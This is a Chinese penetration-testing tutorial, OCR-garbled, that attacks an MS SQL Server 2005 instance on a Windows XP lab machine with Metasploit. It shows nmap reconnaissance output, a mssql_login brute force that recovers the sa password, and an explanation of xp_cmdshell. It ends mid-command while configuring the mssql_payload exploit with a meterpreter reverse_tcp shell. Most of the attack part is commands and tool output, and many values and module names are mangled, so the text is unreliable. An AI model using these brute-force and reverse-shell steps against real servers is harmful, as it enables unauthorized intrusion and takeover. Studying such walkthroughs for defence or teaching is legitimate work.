利用MSSQL漏洞攻击

1、基于MetaSploit平台参透测试MS SQL漏洞测试1、信息收集使用nmap漏洞扫描器扫描:msf nmap -sT -A -P0 29* exec: nmap -sT -A -P9 29扫描结果:Starting Nmap 5.61TEST4 ( HYPERLINK ) at 2012-07-31 18:3。 PDTNmap scan report for 29Host is up (0.00055s latency).Not shown： 990 closed portsPORTSTATESERVICEVERSION21/tcpopenftpMicrosoftftpd|_ftp-ano

2、n： Anonymous FTP login allowed (FTP code 233)25/tcp叩ensmtpMicrosoftESHTP6.0.2600.2180| smtp-commands： user-a67c37f0bc Hello r SIZE 2097152, PIPELININGr DSN, ENHANCEDSTATUSCODES, 8bitmimeF BINARYMIME, CHUNKING, VRFYr 0Kr|_ This server supports the following commands： HELO EHLO STARTTLS RCPT DATA RSE

3、MAIL QUIT HELP AUTH BDAT VRFY80/tcp open httpMicrosoft IIS httpd 5.1| http-methods： Potentially risky methods： TKACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCHSee HYPERLINK /nsedoc/scripts/http-methods.html /nsedoc/scripts/http-methods.htmlhttp-title：XD5XFDXD4XDAXBDXA8XC9XE8XD6

4、XD0135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssn443/tcpopenhttps?445/tcpopennetbios-ssn1025/tcpopenmsrpcMicrosoftWindowsRPC1433/tcpopenms-sql-sMicrosoftSQL Server 2005 9.00.1399; RTM2383/tcpopenms-olap4?MAC Address： 00:0C:29:0D:78:SA (VMware)No exact OS matches for host (If you know what

5、 OS is running on itr see http：/n /submit/ ).TIP fingerprint：Host script results:|_nbstat： NetBIOS name： USER-A67C37F0BC, NetBIOS user： r NetBIOS MAC： 00:0c :29:0d:78:0a (VMware)_smbv2-enabled： Server doesnt support SMBv2 protocolsmb-security-mode:Account that was used for smb scripts: guestUser-lev

6、el authenticationSMB Security： Challenge/response passwords supportedMessage signing disabled (dangerous, but default)smb-os-discovery:OS: Windows XP (Windows 2000 LAN Manager)Computer name: user-a67c37fQbcNetBIOS computer name： USER-A67C37F0BCWorkgroup: WORKGROUPSystem time： 2012-07-31 18:27:35 UTC

7、+82、分析漏洞扫描结果报告可以看到，系统开放了一些有意思的端口，包括ms-sql-s这种易受攻击的 端口。但更有意思的是通过nmap扫描，发现系统版本为Windows XP，而在Windows XP2 这个版本的系统已经不再维护，许多已公开漏洞在SP3系统中已经修补，但在SP2中依然 存在。扫描结果中还可以看到开放了 FTP和SMTP端口，这两个端口可能存在可被利用的漏 洞，同时也开放了 80端口，意味着我们可以尝试进行Web应用攻击。在此，我们对MS SQL的1433端口进行攻击，因为这个端口有许多已知的漏洞，可以 实现完全入侵并获得管理员权限。首先，我们需要确认安装了 MS SQL，然后

8、尝试对MS SQL服务进行暴力破解以获取密 码，MS SQL默认安装在TCP 1433端口和UDP 1434端口，但新版本的MS SQL允许安装 到随机动态分配的TCP端口，UDP 1434端口则没有变化，可以通过UDP端口来查询获取 SQL服务的TCP动态端口。这里，通过扫描发现目标系统上的UDP 1434端口是开放的：msf nmap -sU 29 -pl434* exec: nmap -sU 29 -pl434Starting Nmap 5.61TEST4 ( HYPERLINK ) at 2012-07-31 19:46 PDTNmap scan report for 29Host i

9、s up (G.0052s latency).PORT STATESERVICE1434/udp open|filtered ms-sql-mMAC Address： 90:9C:29:DE:58:8B (VMware从上图可以看到，扫描主机发现MS SQL的UDP 1434端口是开放的。以MS SQL未目标，我们可以使用mssql_ping模块来找出MS SQL服务端口，并进行 用户名与口令的猜解。MS SQL在初次安装的时候需要用户创建sa或系统管理员用户。由 于有些管理员在安装程序时没有足够的安全意识，常常会设置空密码或弱密码，因此我们可 以尝试猜测或暴力破解sa用户的密码。下面，我们将

10、使用mssql_login模块来尝试对sa用户进行暴力破解。通过use scanner/mssql/mssql_ping命令调用mssql_ping模块和设置参数，然后运行，可 以看到SQL服务器安装在29上，服务器名为USER-A67C37F0BC，版本号为 9.00.1399.06(SQL Server2005)，监听的端口号是 1433，如下图所示:nisf use scanner/mssql/mssql pingmsf auxiliary(mssqlping) set RHOSTS /24RHOSTS - /24msf auxiliaryf set THREADS 50THREADS

11、= 50msf auxiliaryf) exploit*+*Scanned 041of256hosts(016complete)Scanned 094of256hosts(036%complete)Scanned 1BQof256hosts(S39complete)SQL Server information for 29:ServerNameInstanceNameIsClusteredVersiontcpScannedScannedScannedScannedScannedScanned125150161200250256256256256256256256USER-A67C37F0BC

12、=MSSQLSERVER =No=9.90.1399.96=1433 hosts hosts hosts hosts hosts hosts(048 complete(058% complete)(062% complete)(078% complete)&97% complete (198% complete)Auxiliary module execution completed下一步，我们利用Metasploit框架的mssql_login模块来进行暴力破解:msf auxiliary(mssqlping) use scanner/mssql/mssqllogin msf auxilia

13、ry() show optionsModule options (auxiliary/scanner/mssql/mssqllogin:NameCurrent SettingRequiredDescriptionBLANK_PASSWORDStruenoTry blank passwords for all usersBRUTEFORCESPEED5yesHow fast to bruteforce, from 0 to 5PASSWORDnoA specific password to authenticate withPASSFILEnoFile containing passwords,

14、 one per lineRHOSTSyesThe target address range or CIDR identifierRPORT1433yesThe target portSTOPONSOCCESSfalseyesStop guessing when a credential works for a hoTHREADS1yesThe number of concurrent threadsUSERNAMEsanoA specific username to authenticate asUSERPASS FILEnoFile containing users and passwor

15、ds separatedspace, one pair perlineUSER_AS_PASStruenoTry the username as the password for all usersUSER-FILEnoFile containing usernames, one per lineUSE_WINDOWS_AUTHENTfalseyesUse windows authentificationVERBOSEtrueyesWhether to print output for all attemptsmsf auxiliary?) set PASSFILE /root/passwd.

16、txtPASSFILE = /root/passwd.txtmsf auxiliary(mssql_login) set RHOSTS 29RHOSTS = 29ffisf auxiliary?) set THREADS 50THREADS = 50msf auxiliary() set verbose falseverbose = falsemsf auxiliary() exploit* 29:1433 - MSSQL - Starting authentication scanner.+ 29:1433 - MSSQL - successful login sa : bluedon* S

17、canned 1 of 1. hosts (IBS% complete)* Auxiliary module execution completed选择mssq_login模块，使用密码字典中的密码列表，成功猜解除了 sa 口令：bluedon。3、利用该漏洞的攻击模块进行攻击以sa管理员账户权限运行MS SQL时，我们可以执行xp_cmdshell存储过程，该存储过 程允许我们直接与底层操作系统进行交互并执行命令。xp_cmdshell是SQL Server中缺省装 在的内建存储程序，我们可以通过MS SQL调用xp_cmdshell直接来执行操作系统命令，可 以将其理解成一个可以执行任意命

18、令的操作系统超级用户命令行。而MS SQL服务一般是 以SYSTEM级别权限运行的，所以一旦获得sa用户，就额可以同时以管理员身份来访问MS SQL和底层操作系统。为了在系统中注入攻击载荷，我们需要与xp_cmdshell进行交互，添加本例管理员，并 通过一个可执行文件来植入攻击载荷。如下图所示：msf use windows/(nssql/mssqL_payLoadmsf exploit(mssqlpayload) set payload windows/meterpreter/reversetcppayload = windows/meterpreter/reverse_tcpmsf exploit(mssqlpayload) LHOST = msf exploit(mssql payload) LPORT = 443msf exploit(mssqlpayload) RHOST = 29 msf exploit(mssqlpayload) PASSWORD = bluedonset LHOST set LPORT 443set RHOST 29set PASSWORD b